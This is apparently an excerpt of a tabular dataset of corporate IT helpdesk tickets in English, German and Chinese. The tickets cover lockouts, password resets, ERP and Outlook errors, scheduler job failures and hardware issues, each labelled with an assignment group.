+_x000D_ + israel_x000D_ +_x000D_ +israel_x000D_ +_x000D_ +israey_x000D_ +_x000D_ +windows 7 professional_x000D_ +_x000D_ +ic user applications (64-bit)_x000D_ +_x000D_ +english_x000D_ +_x000D_ +64-bit_x000D_ +_x000D_ +patching_antivirus_sw_x000D_ +_x000D_ +aghw8325488_x000D_ +_x000D_ + israel_x000D_ +_x000D_ +israel_x000D_ +_x000D_ +nahumo_x000D_ +_x000D_ +windows 7 professional_x000D_ +_x000D_ +ic user applications (64-bit)_x000D_ +_x000D_ +english_x000D_ +_x000D_ +64-bit_x000D_ +_x000D_ +patching_antivirus_sw_x000D_ +_x000D_ +aghw8325491_x000D_ +_x000D_ + israel_x000D_ +_x000D_ +israel_x000D_ +_x000D_ +tevkia_x000D_ +_x000D_ +windows 7 professional_x000D_ +_x000D_ +ic user applications_x000D_ +_x000D_ +english_x000D_ +_x000D_ +32-bit_x000D_ +_x000D_ +patching_antivirus_sw_x000D_ +_x000D_ +aghw8325639_x000D_ +_x000D_ + israel_x000D_ +_x000D_ +israel_x000D_ +_x000D_ +pogredrty_x000D_ +_x000D_ +windows 7 professional_x000D_ +_x000D_ +ic user applications_x000D_ +_x000D_ +english_x000D_ +_x000D_ +32-bit_x000D_ +_x000D_ +patching_antivirus_sw_x000D_ +_x000D_ +agvw8325504_x000D_ +_x000D_ +_x000D_ +_x000D_ +israel_x000D_ +_x000D_ +sokdelfgty_x000D_ +_x000D_ +windows 7 professional_x000D_ +_x000D_ +ic user applications_x000D_ +_x000D_ +english_x000D_ +_x000D_ +32-bit_x000D_ +_x000D_ +patching_antivirus_sw_x000D_ +_x000D_ +_x000D_ +we have scheduled the new version upgrade for the pcs which are installed with old telephony_software application._x000D_ +_x000D_ +",GRP_0 +ad account lock out ad account lock out ,GRP_0 +"new order--mm# 2694571 dmhpm045 / mm# 2695539 mb033 from: crysyhtal xithya _x000D_ +sent: tuesday, august 16, 2016 1:13 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +cc: cindy wanrtyg; marftgytin xia_x000D_ +subject: tfw: 答复: new order--mm# 2694571 dmhpm045 / mm# 2695539 mb033_x000D_ +importance: high_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +can you please advise why the group costs for mm#2694571 and 2695539 from plant_122 and plant_335 are different?_x000D_ +taking mm#2694571 for example: @plant_122, group costs is $67.87, while @plant_335, group costs is $82.05? why? _x000D_ + _x000D_ +_x000D_ +_x000D_ + _x000D_ +_x000D_ +",GRP_44 +"no intercompany + +received from: dumovtpj.ahgjsvoq@gmail.com + +hi team, + +we can not generate intercompany for delivery note 9168034926 the following error message appears, can you please +have a look: + +[cid:image001.png@01d1f7b2.8e308980] + +mit freundlichen grugermany / best ",GRP_13 +need help in installing tess need help in installing tess,GRP_0 +"email-anzeige _x000D_ +_x000D_ +received from: trgqbeax.hfyzudql@gmail.com_x000D_ +_x000D_ +[cid:image001.png@01d1f7b0.223a83e0]_x000D_ +_x000D_ +_x000D_ +leider ist das feld „von"" abhanden gekommen ☹_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +danke + viele grüße_x000D_ +trgqbeax hfyzudql_x000D_ +_x000D_ +mit freundlichen grüßen | best ",GRP_0 +not able to login to ess portal not able to login to ess portal,GRP_0 +"zpdist_programdnty not allowing to distribute against planned orders and production orders _x000D_ +hello chandruhdty, ebi,_x000D_ +_x000D_ +i´ve created an example in SID_1 for debugging an fixing. production order to receive is 226138271 // mm# 4289785._x000D_ +the issue does not only appear in case the user tries to ship against a planned order but also when trying to ship against a production order._x000D_ +_x000D_ +shipping against planned orders:_x000D_ +_x000D_ +it looks like zpdist_programdnty does only allow to ship against planned orders in case the planned order finish date is due or past due (purple example in the screenshot). in case the planned order finish date is not due (red example) zpdist_programdnty does not allow to ship against the planned order._x000D_ +_x000D_ +the following things need to be changed:_x000D_ +_x000D_ +- zpdist_programdnty should allow to force the shipment against planned orders even though the planned order is not due (just like zpdist_programdnty does for stock transfer orders)_x000D_ +- zpdist_programdnty should use the planned order start date rather than the planned order finish date to determine whether the planned order is due_x000D_ +_x000D_ +shipping against production orders:_x000D_ +_x000D_ +it looks like zpdist_programdnty does only allow to ship against production orders in case the basic finish date of the production order is due or past due (blue example). in case the basic finish date of the production order is not due (yellow example) zpdist_programdnty does not allow to ship against the production order._x000D_ +_x000D_ +the following things need to be changed:_x000D_ +_x000D_ +- zpdist_programdnty should allow to force the shipment against production orders even though the production order is not due (just like zpdist_programdnty does for stock transfer orders)_x000D_ +- zpdist_programdnty should use the basic start date (which is already shown in the transaction) rather than the basic finish date to determine whether the production order is due",GRP_18 +windows system doesn't start windows system doesn't start,GRP_31 +"wifi on big meetings is not stable in the meeting room if we have a meeting at switzerland with a lot of participants, like today, the wifi is not stable. the users will get interrupts frequently. i do not have the possibility to check how much users are connected to which ap for analyzing the problem. ",GRP_33 +nicht gebuchte anzahlungsrechnungen company 5417 - vfx3 - siehe beigefügte e-mail,GRP_10 +erp SID_34 account lock out issue erp SID_34 account lock out issue,GRP_0 +laptop power issue laptop is not getting on ,GRP_19 +"答复: help for mm#4866474 24800776 _x000D_ +_x000D_ +received from: windy.shi@company.com_x000D_ +_x000D_ +dears，_x000D_ +how about the status now ?_x000D_ +this shipment is urgent required._x000D_ +",GRP_6 +"change ""volunteer tracker"" + +received from: fmjeaoih.ndyezlkb@gmail.com + +hi all, +i would need two edits to be made to the volunteer tracker form +#wa=wsignin1.0 + +please add two fields beneath facilitator/contact person which should be named: + +name of organization: + +organization's address: + + +and please add at the very end: +please send the non- profit verification document to communication@company.com. + +please note that the volunteer tracker should be accessible to all employees, +i set the permissions accordingly. +",GRP_16 +"loaner laptops germany location germany required _x000D_ +_x000D_ +received from: ubiqcrvy.mxjcnqfs@gmail.com_x000D_ +_x000D_ +dear it-team,_x000D_ +_x000D_ +i would please need loaner laptops for our consultant from bank for the below period:_x000D_ +_x000D_ +12th september 2016 – 15th september 2016 hzptilsw wusdajqv / bank consultant_x000D_ +_x000D_ +19th september 2016 – 20th september 2016 jrilgbqu kbspjrod / bank consultant_x000D_ +_x000D_ +10th october 2016 – 11th october 2016 hzptilsw wusdajqv / bank consultant_x000D_ +10th october 2016 – 11th october 2016 wpakylnj wdtsyuxg / bank consultant_x000D_ +_x000D_ +all three consultant should still have a valid erp and microsoft log in password. fyi - our bank consultant will do_x000D_ +a huge update in september and october for our erp payment management and autobank tool._x000D_ +_x000D_ +could you please prepare the laptops accordingly and confirm if we will get the loaner laptops please._x000D_ +i would pick them up on the mentioned dates above by steffen rödel._x000D_ +_x000D_ +if there is any problem please let me know._x000D_ +_x000D_ +many ",GRP_28 +"re: deployment notification | telephony_software 2016 _x000D_ +_x000D_ +received from: wqfzjycu.omleknjd@gmail.com_x000D_ +_x000D_ +hi deeghyupak,_x000D_ +_x000D_ +why are you running telephony_software upgrade on pc agvw8325504 when it is not used for telephony_software?_x000D_ +_x000D_ +with ",GRP_65 +"cannot access SID_1 hello it,_x000D_ +_x000D_ +i cannot login to SID_1 anymore, see attachment._x000D_ +please fix it for user id hannas and meixni_x000D_ +_x000D_ +",GRP_0 +support für umzug \qvncizuf ueiybanz support für umzug \qvncizuf ueiybanz,GRP_24 +probleme mit EU_tool \obqridjk ugelctsz probleme mit EU_tool \obqridjk ugelctsz,GRP_24 +"virus found _x000D_ +_x000D_ +received from: ynsqjehx.kqgrsawl@gmail.com_x000D_ +_x000D_ +hi it team,_x000D_ +_x000D_ +pls see how this can be removed? happened for the last 2 days._x000D_ +_x000D_ +_x000D_ +[cid:image003.jpg@01d1f7cd.2a3cf790]_x000D_ +_x000D_ +best ",GRP_50 +"unable to create delivery please provide the following:_x000D_ +_x000D_ +what order number? 5018083414/00001_x000D_ +_x000D_ +what material or item number? 6471853_x000D_ +_x000D_ +what warehouse location? plant_108 to plant_168_x000D_ +_x000D_ +issue description / error message? ""no message""",GRP_6 +windows account lock out windows account lockout ,GRP_0 +"request to reset microsoft online services password for xqkydoat.bveiyclr@gmail.com from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: tuesday, august 16, 2016 10:26 am +to: nwfodmhc exurcwkm +cc: tiyhum kuyiomar +subject: ragsbdhryu:request to reset microsoft online services password for xqkydoat.bveiyclr@gmail.com +importance: high + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• xqkydoat.bveiyclr@gmail.com +• first name: jagthyin bhughjdra +• last name: babanlal + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +"problem mit start in outlook _x000D_ +_x000D_ +received from: ptuchwad.yzvrlcqa@gmail.com_x000D_ +_x000D_ +hallo_x000D_ +_x000D_ +kann auf rechner outlook nicht starten und crm synchronisiert stundenlang_x000D_ +dadurch werden auch andere dinge geblockt ( engineering_tool z.b.)_x000D_ +_x000D_ +bitte um hilfe - sitze am rechner_x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüssen_x000D_ +-uwe schröck_x000D_ +technische beratung und verkauf_x000D_ +ptuchwad.yzvrlcqa@gmail.com_x000D_ +mobil 0175 4356 741_x000D_ +_x000D_ +company deutschland gmbh / max-planck-straße 13 / d-61381 germany /www.company.com<_x000D_ +_x000D_ +company deutschland gmbh_x000D_ +geschäftsführer: rfwlsoej yvtjzkaw, harald männlein_x000D_ +sitz der gesellschaft: germany/hgermany – registergerirtcht: bad homburg/hgermany hrb 7492_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung._x000D_ +[#+company/posts> [_x000D_ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +"po error language _x000D_ +_x000D_ +received from: xjvubmlq.vyamhjip@gmail.com_x000D_ +_x000D_ +hello ,_x000D_ +could you please help to check the reason of po error language ._x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d1f2f9.96a10ad0]_x000D_ +_x000D_ +with best ",GRP_29 +"telephony_software software 2016 upgrade for user ""laijuttr"" i am not able to find the interaction desktop icon in my pc after installation. even the old version got deleted. please assist. ",GRP_0 +"outlook spell check error - repeated issue _x000D_ +_x000D_ +received from: rjanhbde.owfkyjcp@gmail.com_x000D_ +_x000D_ +[cid:image004.png@01d1f7af.e02c9290][cid:image005.jpg@01d1f7af.e02c9290]_x000D_ +_x000D_ +_x000D_ +warm ",GRP_0 +"abended job in job_scheduler: Job_2600 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2600 at 08/16/16 01:35:28",GRP_8 +"abended job in job_scheduler: Job_2584 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2584 at 08/16/16 01:31:28",GRP_8 +"abended job in job_scheduler: Job_2599 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2599 at 08/16/16 01:31:28",GRP_8 +account locked in ad account locked in ad,GRP_0 +windows account locked windows account locked ,GRP_0 +account locked in ad account locked in ad,GRP_0 +unable to login to erp SID_34 unable to login to erp SID_34,GRP_0 +"recall: re:ticket_no1541701 - please reopen + +received from: duwvesim.cixqbmfr@gmail.com + +narefgttndra shigthyuva would like to recall the message, ""re:ticket_no1541701 - please reopen"". + + +",GRP_0 +"laptop volume is not working _x000D_ +_x000D_ +received from: rvsbtxue.cdrwsymj@gmail.com_x000D_ +_x000D_ +hi_x000D_ +_x000D_ +my laptop dell precision m4700 volume has stopped working. not sure whether the problem is with any drivers. please help as i have to attend few skype sessions this week._x000D_ +_x000D_ +best ",GRP_19 +"outlook spell check not working - repeated issue _x000D_ +_x000D_ +received from: rjanhbde.owfkyjcp@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +pl. find the spell check error in the outlook._x000D_ +this is a repeated error, time & again observed._x000D_ +_x000D_ +need your attention & permanent solution._x000D_ +_x000D_ +[cid:image002.jpg@01d1f79e.28cd4650]_x000D_ +_x000D_ +_x000D_ +warm ",GRP_19 +dell battery failure. -kds sw11-services <-kds.sw11-services@company.com>,GRP_19 +" mm# 1876905 from: -kds sw11-services _x000D_ +sent: tuesday, august 16, 2016 7:12 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +cc: rxoynvgi ntgdsehl; -kds sw11-services; johthryugftyson hu_x000D_ +subject: fw: mm# 2987016_x000D_ +_x000D_ +hi it team_x000D_ +_x000D_ +_x000D_ +please assist to create dn for the above mentioned mm. ",GRP_6 +windows account locked windows account locked ,GRP_0 +unable connect to engineering_tool unable connect to engineering_tool ,GRP_0 +"abended job in job_scheduler: pp_EU_tool_netch_ap2 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: pp_EU_tool_netch_ap2 at 08/15/16 22:18:29",GRP_8 +warehouse_vendor export service on HostName_802 is showing down in monitoring_tool monitoring tool warehouse_vendor export service on HostName_802 is showing down in monitoring_tool monitoring tool,GRP_20 +"sipppr for help dear it， + +以下是sipppr的入口链接。 + + + +æ��‘登录进去后 pdf文件不能编辑，帮忙看看是什么问题，adobe reader 版本需要更新？ + +如下两个链接： + + + + + + +best ",GRP_31 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked the erp id._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked and reset the erp id to""daypay3""._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"help to change the windows password using password_management_tool password tool. help to change the windows password using password_management_tool password tool._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the password_manager_tool password tool and change the passwords._x000D_ +-help the user to sync the psswords to the company network._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"r173 schneeberger cnc nr.20123 / wza programdntyme lassen sich teilweise nicht öffnen, mal nach der festplatte schauen, _x000D_ +bitte um erledigung durch m. himghtmelreich (EU_tool rep. nr,:39788)",GRP_33 +"user needed help to login to erp SID_34 user needed help to login to erp SID_34._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the erp SID_34._x000D_ +-issue resolved.",GRP_0 +"abended job in job_scheduler: hr_tooldcvcgenratn received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: hr_tooldcvcgenratn at 08/15/16 17:02:27",GRP_6 +"help to change the windows password using password_management_tool password tool. help to change the windows password using password_management_tool password tool._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the password_manager_tool password tool and change the passwords._x000D_ +-help the user to sync the psswords to the company network._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"abended job in job_scheduler: Job_2827 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2827 at 08/15/16 16:07:32",GRP_29 +"expense report will not submit + +received from: ytqhfmwi.itnakpmc@gmail.com + +my expense report will not submit. this is the 3rd expense report that i have not been able to submit. has required erp person/help desk to submit each time. + +[cid:image003.jpg@01d1f706.cbb3aeb0] +michjnfyele l. jenhntyns +plant manager +ytqhfmwi.itnakpmc@gmail.com +",GRP_68 +"return 7112594470 is held up in worklfow under approval vnhaycfo smkpfjzv- as of 4/27/16 vnhaycfo smkpfjzv is not with earthworks usa- customer order is being up held due to credit involved with this return. return has been received on 5/4/2016. _x000D_ +",GRP_13 +robhyertyj lee ron bell #21112660 has a 300 health savings acct deduction coming out of his paycheck yet he has elected zero. can you please let me know why this is before the next u1 pay run.,GRP_52 +"dell 7350: the system keeps going in to a loop of shutting down.-urgent dell 7350: the system keeps going in to a loop of shutting down. +-advised the user to restart the pc . not happening. +-service tag: 300811 +-contact : +-os: win 8.1 +",GRP_3 +adding purchasingupstreamsso members please add kigthuym whjtyulen (whjtlkn) and cqlehowf aosqelnr (shrghyadja) to the purchasingupstreamsso active directory (ad) group including a samaccountname in ad as all lowercase. ,GRP_2 +"mobile device _x000D_ +_x000D_ +received from: ejsxqmia.cujvlrfq@gmail.com_x000D_ +_x000D_ +who do i need to contact?_x000D_ +having battery life issues on my i phone loosing charge fast throughout the day is it something that i can have the battery replaced on or get a new phone?_x000D_ +_x000D_ +",GRP_0 +"how can i send a video to someone outside of company? name:aytjedki rucfxpla +language: +browser:microsoft internet explorer +email:aytjedki.rucfxpla@gmail.com +customer number: +telephone: +summary:how can i send a video to someone outside of company? +it is to large to attach to an email",GRP_0 +vip 2: meeting acceptance notification meeting acceptance notification ,GRP_27 +unable to open .tif files unable to open .tif files,GRP_0 +unable to login to the switch unable to login to the switch due to the memory issue as per syslog alarms. ,GRP_4 +"crm account and contact reassignment help. i would like to reassign accounts and contacts from myself to thomklmas (mitctdrh) ervin. + +phone: ",GRP_22 +"telephony_software phone system (interaction desktop) authentication process failure name:mitgckqf ewourgcx +language: +browser:microsoft internet explorer +email:mitgckqf.ewourgcx@gmail.com +customer number: +telephone: +summary:telephony_software phone system (interaction desktop) authentication process failure",GRP_7 +"crm accrual posting not replicating from crm to ecc for cpp programdnty fund id and budget postings affected are below._x000D_ +_x000D_ +3770 211115402_x000D_ +3771 211115403_x000D_ +3772 211115404_x000D_ +3773 211115405_x000D_ +3774 211115406_x000D_ +3775 211115407_x000D_ +3776 211115408_x000D_ +3777 211115409_x000D_ +3778 211115400_x000D_ +3779 211115511_x000D_ +3780 211115512_x000D_ +3781 211115513_x000D_ +3782 211115514_x000D_ +3783 211115515_x000D_ +3784 211115516_x000D_ +3785 211115517_x000D_ +3786 211115518_x000D_ +3787 211115519_x000D_ +3788 211115510_x000D_ +",GRP_15 +"access to database name:mikhghytr karaffa +language: +browser:microsoft internet explorer +email:vfrdxtqw.jfbmsenz@gmail.com +customer number: +telephone: +summary:please usa me access to the dunham and bradstreet data base.",GRP_0 +drive encryption attention needed drive encryption attention needed,GRP_0 +HostName_1169.company.com.is connected? is not connected received reporting_tool alert at 1:57 pm on 8/15 et HostName_1169.company.com.is connected? is not connected,GRP_8 +password reset on ess portal password reset on ess portal,GRP_0 +expense report not reaching manager expense report not reaching manager,GRP_0 +"pc will not boot. rqxw8516900, beshryu screen no post. has been slow to start for a while. pc will not boot. rqxw8516900, beshryu screen no post. has been slow to start for a while.",GRP_3 +"xerox copier in usa office prtSID_69369 has a paper feeder fault, will not copy. xerox copier in usa office prtSID_69369 has a paper feeder fault, will not copy.",GRP_3 +"password reset from: jghjimdghty bfhjtuiwell +sent: monday, august 15, 2016 8:26 pm +to: nwfodmhc exurcwkm +subject: amar re: jghjimdghty bfhjtuiwell , your windows password is expiring soon!! +importance: high + +hi it – i changed my vpn password this morning when prompted and then in erp and outlook but when i go to change it per the password_management_tool pw software below – the password_management_tool pw won't accept my self-service login passwords (old and new) or my email address. + +",GRP_0 +account locked out and password reset request. account locked out and password reset request.,GRP_0 +unable to launch outlook unable to launch outlook,GRP_0 +unable to connect to any network from laptop unable to connect to any network from laptop,GRP_0 +"create wi-fi passwords for ibm team onsite at usa for a week hi,_x000D_ +_x000D_ +please create wi-fi passwords for all the tem members below who will be in usa, pa from 8-16-16 to 8-19-16. ",GRP_0 +collaboration_platform issue collaboration_platform issue ,GRP_0 +unable to open outlook and ess due to bad password unable to open outlook and ess due to bad password,GRP_0 +unable to access emails unable to access emails,GRP_0 +zdsxmcwu thdjzolwronization issue. zdsxmcwu thdjzolwronization issue.,GRP_0 +account locked out on erp SID_34 account locked out on erp SID_34,GRP_0 +access to engineering tool access to engineering tool,GRP_0 +"global it-germany-erp-print of csi in vl02n does not works! hello dear all,_x000D_ +i have tried to print the csi in the erp-vl02n for a 2nd time. _x000D_ +the message what i have got was: oops! internet explorer could not connect to HostName_523.company.company.com:20010! if anybody could help me - that would be very great. wbr-petrghada :-)",GRP_18 +"HostName_973 (hr_tool tax_interface app-qa): average (5 samples) total cpu is now 100.00%, which is above the error threshold (99%) HostName_973 (hr_tool tax_interface app-qa): average (5 samples) total cpu is now 100.00%, which is above the error threshold (99%)",GRP_12 +"it-germany-h. kruse / as-400-passwortänderung fehlgeschlagen hallo frthdyui,_x000D_ +passwortänderung in der as-400 hat nicht geklappt. bitte um deine hilfe. lieben dank im voraus-gruß petrghada :-)",GRP_49 +"erp access _x000D_ +_x000D_ +received from: zfburidj.jmilguev@gmail.com_x000D_ +_x000D_ +hi there,_x000D_ +_x000D_ +can you please give me access to erp. i cannot log on to it._x000D_ +_x000D_ +",GRP_0 +"abended job in job_scheduler: Job_1953b received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1953b at 08/15/16 10:59:31",GRP_6 +"vip 2 : battery seems to be dead : latitude e7250 vip 2 : battery seems to be dead : latitude e7250 + +summary:dell laptop battery light flashing orange. laptop will not work without connection to power cord. battery seems to be dead. + +",GRP_3 +"restart a service on the lhqSID_1854 server restart a service on the lhqSID_1854 server + +phone: -5508",GRP_12 +password issue password issue,GRP_0 +windows password reset windows password reset,GRP_0 +erp SID_34 password reset and unlock request erp SID_34 password reset and unlock request ,GRP_0 +unable to access HostName_1274 unable to access HostName_1274,GRP_12 +unable to launch skype unable to launch skype,GRP_0 +ticket update query on ticket inc1541161 : urgqkinl zpcokgbj ticket update query on ticket inc1541161 : urgqkinl zpcokgbj,GRP_0 +unable to connect to company secure unable to connect to company secure,GRP_0 +"shop_floor_app record error operator reinaldo albrecht, second shift machine ewag rs15, grinding process, pcd cell, cannot record correctly his work data on shop_floor_app there is a few days. the records of a day are extended to the next as if they had not been closed.",GRP_43 +"engineering_tool_dwnload prb _x000D_ +_x000D_ +received from: rmdtqfxa.fwpnqdxo@gmail.com_x000D_ +_x000D_ +hello it,_x000D_ +_x000D_ +when i tried to download engineering_tool to my desktop , it is showing me this error._x000D_ +please fix this issue:_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d1f728.ecdcf070]_x000D_ +_x000D_ +best ",GRP_0 +not possible to login due to a locked account not possible to login due to a locked account,GRP_0 +"cant complete quote number cant complete quote number _x000D_ +3116216659 get error massage_x000D_ +""line item -> 000010_x000D_ +entered brand is not listed, enter a valid brand for line item"" ",GRP_13 +unable to launch netweaver unable to launch netweaver,GRP_0 +netweaver bussiness client does not open. netweaver bussiness client does not open.,GRP_0 +hr_tool portal is not working. hr_tool portal is not working.,GRP_0 +"vip2 : delegation issue. vip 2 : telephone:412 +summary:still trying to get an issue resolved with outlook. i am tomashtgd mchectg's new assistant. he gave me editor permission for his email, calendar, etc. when i try to view his email in outlook, i get this error message ""cannot display the folder. microsoft outlook cannot access the specified folder location."" i have to manually open his email account each time which is not going to work. i seem to be able to view his email in owa. but i want to use outlook 2013.",GRP_0 +the clocks at the bottom of the hub home page seem to be missing i tried in both ie and mozilla.,GRP_16 +"problem with speaker + +received from: vkzwafuh.tcjnuswg@gmail.com + +hi, +i'm having a problem with the speaker on my laptop. i can hear on my headset but not my earbuds or speakers. please advise + +vkzwafuh tcjnuswg - cmp +sr. application eng. +vkzwafuh.tcjnuswg@gmail.com +",GRP_0 +"unable to reset the password unable to reset the password_x000D_ +_x000D_ +",GRP_0 +call from debgrtybie savgrtyuille inc1541588 : to cancel ticket call from debgrtybie savgrtyuille inc1541588 : to cancel ticket ,GRP_0 +"immediate restoration of t drive files required + +received from: crkdjbot.qiztrxne@gmail.com + +hello, + + +t:\HostName_768\teams\corporate governance and t:\HostName_768\teams\proxy… these folders were deleted by an it helpdesk employee over the weekend. we need immediate restoration back to friday so these folders and all of the files contained within are restored. + +this is a priority request. please respond within the hour. + + +best, +debgrtybie savgrtyuille +sr. corporate paralegal +company inc. +crkdjbot.qiztrxne@gmail.com + + + +",GRP_0 +christgrytoph called to check if account has been disabled christgrytoph called to check if account has been disabled,GRP_0 +need help in resetting erp password and unlocking all accounts need help in resetting erp password and unlocking all accounts,GRP_0 +"account expired for cyxieuwk rekwlqmu 2nd july 2016 account expired for cyxieuwk rekwlqmu 2nd july 2016 + +informed user that we need email from hr that account needs to be enabled. + : account disabled.",GRP_0 +"inc1541444 -sao-palo-2960-switch-i(45.25.35.049) is down since 8:00 am on 08/14 et hi uidgt/jean,_x000D_ +_x000D_ +we are observing one of the switch sao-palo-2960-switch-i(45.25.35.049) is down since 8:00 am on 08/14 et. please check for the power status /cable connections for this switch and revert._x000D_ +_x000D_ +note: all devices came active after the planned power maintenance as per chg1144678 _x000D_ +_x000D_ +",GRP_62 +password_management_tool password manager brings an error while password change attempts password_management_tool password manager brings an error while password change attempts,GRP_0 +"collaboration_platform online is not opening. collaboration_platform online is not opening._x000D_ +_x000D_ +error : diese seite kann nicht angezeigt warden.",GRP_0 +"outlook (nicht lizensiertes produkt) _x000D_ +_x000D_ +received from: vnsmwqhb.ogtpenjd@gmail.com_x000D_ +_x000D_ +hallo help,_x000D_ +_x000D_ +ms office produkte zeigen folgende fehlermeldung:_x000D_ +[cid:image001.png@01d1f6f8.87161a30]_x000D_ +_x000D_ +gruß / ",GRP_0 +reset the password for nvawmlch ubyjolnc on erp / production / erp please reset my password,GRP_0 +"wvdxnkhf jirecvta locked out himself from windows and needs a password reset user id : owenghyga +he was locked out while using wifi at fürth location",GRP_0 +"unable to boot up computer unable to boot up computer. earlier there was a issue with blue screen. _x000D_ +_x000D_ +_x000D_ +_x000D_ +computer name: _x000D_ +service tag : f1gvv32_x000D_ +_x000D_ +ruf nummer : 015sartlgeo lhqksbdx21 60543",GRP_0 +account locked in ad account locked in ad,GRP_0 +skype issue ; ms office crashing skype issue ; ms office crashing ,GRP_0 +"crm - unsafe web-side after pw-update i've tried to lo log-on to crm. + +i received the following pop-up: + soll google chrome ihr passwort für diese webside speichern? skotthyutc +i've skiped that message. + +than i went to sales & markhtyeting. after clicking on crm (english languague) i left the save web. + i went to: +is that the side we would like to use? + +i received the following pop-up: + soll google chrome ihr passwort für diese webside speichern? +do we want google to save our pws?",GRP_0 +one note issue one note issue,GRP_0 +unlock ad account unlock ad account ,GRP_0 +"account locked _x000D_ +_x000D_ +received from: vhlepcta.lqbgcxpt@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +abdhtyu user's account is blocked, can you please help?_x000D_ +_x000D_ +",GRP_0 +"wifi slow speed-company (apac) it team, + +please kindly check internet for us. right now unable to work. ip data as below; + +copyright (c) 2009 microsoft corporation. all rights reserved. + +c:\users\vvghychamc>tracert 8.8.8.8 + +trghwyng route to google-public-dns-a.google.com [8.8.8.8] +over a maximum of 30 hops: + + 1 2 ms 2 ms 2 ms company-ap-tha-apac-dmvpn-2811-rtr01.company.com [10 +.44.18.2] + 2 151 ms 150 ms 152 ms att-singapore-3825-vpn-rtr-2.company.com [10.44.6.3 +] + 3 200 ms 200 ms 201 ms 10.44.1.114 + 4 152 ms 153 ms 152 ms 122.248.132.50 + 5 374 ms 211 ms 212 ms mdf002c7613r0002-tge-12-2.sng1.attens.net [32.60 +.32.181] + 6 211 ms 212 ms 207 ms 32.114.188.5 + 7 218 ms 217 ms 216 ms 32.119.97.150 + 8 326 ms 277 ms 272 ms as15169.ix.jpix.ad.jp [210.171.224.96] + 9 220 ms 224 ms 223 ms 72.14.234.23 +10 221 ms 220 ms 220 ms 209.85.255.229 +11 216 ms 217 ms 216 ms google-public-dns-a.google.com [8.8.8.8] + +trace complete. + +c:\users\vvghychamc> + +from: przndfbo pldqbhtn +sent: monday, august 15, 2016 12:59 pm +to: corpcare@trueinternet.co.th; pichayapuk (pichayapuk_num@trueinternet.co.th); gdhyrts muggftyali +cc: izwtdnfq xptuoaid +subject: wifi slow speed-company (apac) + +dear k.pichayapuk, + +please kindly check wi-fi speed for our company. it's very slow speed and impacted our work this time. +we have more users in office about 20 persons and some guests visit sometime. please advise suitable package for our company. +------------------------------------ + +dear nagfghtyudra, + +attached currently internet package in apac office. please advise if we need to up speed for international gate. ",GRP_4 +setup new ws \stwpzxbf bjehirkx setup new ws \stwpzxbf bjehirkx,GRP_24 +aenderungsantrag kann nicht geloescht werden. aenderungsantrag kann nicht geloescht werden.,GRP_0 +probleme mit purchasing \xmlbfjpg yegzbvru probleme mit purchasing \xmlbfjpg yegzbvru,GRP_24 +setup new ws \ghaltiek lsuepvyx setup new ws \ghaltiek lsuepvyx,GRP_24 +"net weaver business client does not work. net weaver business client does not work. _x000D_ +error : ms .net framdntyework 4.5.2",GRP_0 +mobile device (company owned) successfully activated. mobile device (company owned) successfully activated.,GRP_0 +engineering tool is not working engineering tool is not working ,GRP_0 +authorisation error in outlook : nicht lizeciertes produkt. authorisation error in outlook : nicht lizeciertes produkt.,GRP_0 +"probleme mit EU_tool rechner \ we212772 moin ,_x000D_ +_x000D_ +kannst du bitte das passwort freischalten. benutzer we212772 wurde das passwort _x000D_ +gesperrt. bitte das passwort auf welcome setzen._x000D_ +_x000D_ +",GRP_24 +erp SID_34 password reset request for user : beckes erp SID_34 password reset request for user : beckes,GRP_0 +probleme mit datenbank in EU_tool \hgrvubzo wgyhktic probleme mit datenbank in EU_tool \hgrvubzo wgyhktic,GRP_24 +"mail address of cytohwau qfunricw at ticketing_tool is missing _x000D_ 